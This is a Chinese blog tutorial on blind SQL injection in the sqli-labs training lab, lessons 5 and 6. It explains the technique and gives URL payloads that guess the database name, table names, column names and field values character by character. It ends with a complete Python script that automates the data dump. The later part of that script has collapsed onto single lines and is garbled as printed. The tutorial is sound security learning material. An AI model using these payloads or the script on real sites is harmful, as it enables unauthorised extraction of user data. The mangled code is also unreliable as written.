sqli-labs lession 5 之盲注型SQL入门

本文作者：Mochazz

如果所查询的用户id在数据库中，可以发现页面显示”You are in”，而不像前4关那样会显示出具体的账号密码。

如果sql语句查询结果不存在，则不会显示”You are in”

这种类型的SQL注入属于盲注型，使用id=1’观察报错信息，如下图

可以看到报错信息是”1” LIMIT 0,1′，也就是说后台代码可能是这样写的：SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1，

下面，我们进行手工盲注测试，需要用到substr()、length()、ascii()、left()、count()这些sql数据库函数。

ascii(a)将a转换成其ASCII值
ord(a)将a转换成其ASCII值
left(a,b)从左往右截取字符串a的前b个字符
substr(a,b,c)从b位置开始，截取字符串a的c长度
mid(a,b,c)从位置b开始，截取a字符串的c位

select * from table_name limit m,n;表示从m+1开始取n条查询记录

具体可以参考这一篇文章：sqli-labs环境搭建及数据库基础

首先，我们要获取当前数据库名的长度，用于之后的数据库名猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1′and (length(database())=)–+

上面的数字你可以从1开始递增，发现在length(database())=8的时候，页面返回了正确信息，这说明当前数据库名长度为8,你可以用python写个简单脚本跑一下，效果图如下

接下来就要对数据库名的每个字符进行猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and (left(database(),1)=’s‘)–+

left(database(),1)=’s'表示数据库名从左往右取一个字符，判断该字符是否等于s

left(database(),2)=’se’表示数据库名从左往右取两个个字符，判断该字符是否等于se

这里的s和se并不是固定的，你可以尝试ASCII表中的每个字符

同样写成脚本跑一下，效果图如下

下面要查询security数据库下的表的个数

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and=(select count(table_name) from information_schema.tables where table_schema=’security‘)–+

将等号左边的1进行递增即可判断出security数据库下表的个数，效果图如下

如果你不熟悉文中出现的select语句，可以参考：sqli-labs lession1-4

然后就是判断每个表名的长度

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit,1),1,1))–+

使用上面这个payload，如果页面返回”You are in”，则表示第一张表的长度至少为1，同样的，我们可以对limit num,1),num,1))num部分进行递增判断，如果进行到limit 0,1),7,1))时页面返回空，则说明第一张表的长度为7-1=6

判断出表名长度后，就要对表名进行猜解

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”security” limit,1),1,1))=1–+

这里其实跟上面的猜解数据库名原理是一样的，将等号右边的1进行递增判断，如果页面返回”You are in”，则表示第一张表的第一个字符的ASCII码为1，在参考ASCII码找到对应的字符就可以了。下面是程序运行效果图(截取部分吧，太多了)

接下来就要猜解每个表里的列的个数、列名以及列名长度，列名猜解，和上面原理都差不多，这里不再赘述，直接给出payload(以users表为例子)。

猜解列的个数

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and %d=(select count(column_name) from information_schema.columns where table_name=’users‘)–+

猜解列名长度

http://127.0.0.1/sqlilabs/Less-5/?id=1′ andascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))–+

猜解列名

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1))=97–+

程序运行效果图

最后就是要猜解每个列里面的具体字段的长度以及值了(这里以猜解username为例)

判断字段长度

http://127.0.0.1/sqlilabs/Less-5/?id=1′ and=(select count(username) from security.users)–+

判断字段长度

http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((selectusernamefrom security.users limit 0,1),1,1))–+

判断字段值

http://127.0.0.1/sqlilabs/Less-5/?id=1‘ and ascii(substr((selectusername from security.users limit 0,1),1,1))=95–+

程序运行效果图

最后给出完整的python代码(python3)

import requests
url = 'http://192.168.1.158/sqlilabs/Less-5/?id=1'
db_length = 0
db_name = ''
table_num = 0
table_len = 0
table_name = ''
table_list = []
column_num = 0
column_len = 0
column_name = ''
column_list = []
dump_num = 0
dump_len = 0
dump_name = ''
dump_list = []
i = j = k = 0
### 当前数据库名长度 ###
for i in range(1,20):
    db_payload = '''' and (length(database())=%d)--+''' %i
    # print(url+db_payload)
    r = requests.get(url+db_payload)
    if "You are in" in r.text:
        db_length = i
        print('当前数据库名长度为：%d' % db_length)
        break
### 当前数据库名 ###
print('开始猜解数据库名......')
for i in range(1,db_length+1):
    for j in range(95,123):
        db_payload = '''' and (left(database(),%d)='%s')--+''' % (i,db_name+chr(j))
        r = requests.get(url+db_payload)
        if "You are in" in r.text:
            db_name += chr(j)
            # print(db_name)
            break
print('数据库名：\n[+]',db_name)
### 当前数据库表的数目 ###
for i in range(100):
    db_payload = '''' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+''' % (i,db_name)
    r = requests.get(url+db_payload)
    # print(url+db_payload)
    if "You are in" in r.text:
        table_num = i
        break
print('一共有%d张表' % table_num)
print('开始猜解表名......')
### 每张表的表名长度及表名 ###
for i in range(table_num):
    table_len = 0
    table_name = ''
    #### 表名长度 ####
    for j in range(1,21):
        db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema="security" limit %d,1),%d,1))--+''' % (i,j)        r = requests.get(url+db_payload)        # print(db_payload)        if "You are in" not in r.text:            table_len = j-1            #### 猜解表名 ####            for k in range(1,table_len+1):                for l in range(95,123):                    db_payload = '''' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d--+''' % (i,k,l)                    # print(db_payload)                    r = requests.get(url+db_payload)                    # print(db_payload)                    if "You are in" in r.text:                        table_name += chr(l)            print(table_name)            table_list.append(table_name)            breakprint('表名：',table_list)### 每个表的列的数目、列名及列名长度 ###for i in table_list:    #### 每个表的列的数目 ####    for j in range(100):        db_payload = '''' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+''' % (        j, i)        r = requests.get(url + db_payload)        if "You are in" in r.text:            column_num = j            print(("[+] 表名：%-10s\t" % i) + str(column_num) + '字段')            break#### 猜解列名长度 ####column_num = 3print('%s表中的列名：' % table_list[-1])for j in range(3):    column_name = ''    for k in range(1,21):        db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))--+''' % (table_list[-1],j,k)        r = requests.get(url+db_payload)        if "You are in" not in r.text:            column_len = k-1            # print(column_len)            break        #### 猜解列名 ####        for l in range(95,123):            db_payload = '''' and ascii(substr((select column_name from information_schema.columns where table_name="%s" limit %d,1),%d,1))=%d--+''' % (table_list[-1],j,k,l)            r = requests.get(url + db_payload)            if "You are in" in r.text:                column_name += chr(l)    print('[+] ',column_name)    column_list.append(column_name)print('开始爆破以下字段：',column_list[1:])for column in column_list[1:]:    print(column,'：')    dump_num = 0    for i in range(30):        db_payload = '''' and %d=(select count(%s) from %s.%s)--+''' % (i,column,db_name,table_list[-1])        # print(db_payload)        r = requests.get(url+db_payload)        if "You are in" in r.text:            dump_num = i            # print(i)            break    for i in range(dump_num):        dump_len = 0        dump_name = ''        #### 字段长度 ####        for j in range(1, 21):            db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+''' % (column,db_name,table_list[-1],i,j)            r = requests.get(url + db_payload)            if "You are in" not in r.text:                dump_len = j-1                for k in range(1, dump_len + 1):                    for l in range(1,256):                        db_payload = '''' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))=%d--+''' % (column,db_name,table_list[-1],i,k,l)                        # print(db_payload)                        r = requests.get(url+db_payload)                        if "You are in" in r.text:                            dump_name += chr(l)                            # print(dump_name)                            break                break        print('[+]',dump_name)

Lession 6

至于第六关，看一下报错信息应该能猜出后台SQL查询语句为SELECT * FROM users WHERE id=”$id” LIMIT 0,1

所以直接将第五关写的代码修改一下，把代码中payload部分的’(单引号)改成”(双引号)即可

总结

写这个代码只是为了学习sql盲注，在写的过程中也想放弃，因为一直出错而且不知道错在哪里，但是最后还是完整的写完。其实代码还有很多地方可以改进，例如猜解字符可以使用二分法，这样效率会更快。还是继续努力吧。